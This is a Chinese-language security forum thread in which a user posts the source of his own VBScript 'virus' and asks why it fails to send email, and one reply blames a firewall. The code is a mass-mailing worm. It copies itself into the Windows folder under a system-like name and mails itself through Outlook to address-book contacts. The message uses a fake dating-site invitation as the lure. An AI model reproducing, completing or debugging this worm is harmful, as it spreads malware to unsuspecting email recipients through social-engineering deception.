|
 | 作者: hypersonic [hypersonic]
 论坛用户 |
登录 |
| 我的VBScript病毒，不能发出邮件，是怎么回事？ 代码： 'On Error Resume Next Set fs=CreateObject("Scripting.FileSystemObject") Set dir1=fs.GetSpecialFolder(0) Set dir2=fs.GetSpecialFolder(1) Set so=CreateObject("Scripting.FileSystemObject") dim r Set r=CreateObject("Wscript.Shell") so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Win32system.vbs") Set ol=CreateObject("Outlook.Application") 'On Error Resume Next For x=1 To 2 Set Mail=ol.CreateItem(0) Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) Mail.Subject="今晚你来吗？" Mail.Body="朋友你好：您的朋友Rose给您发来了热情的邀请。具体情况请阅读随信附件，祝您好运！ 同城约会网" Mail.Attachments.Add(dir1&"\Win32system.vbs") Mail.Send Next ol.Quit |
| 地主 发表时间: 10/15 23:47 |
| 回复: bird [huoniao]  论坛用户 |
登录 |
|
可能是防火墙的问题 |
| B1层 发表时间: 10/20 03:37 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写：NetDemon
粤ICP备05087286号
论坛: 菜鸟乐园 标题: 高手请看！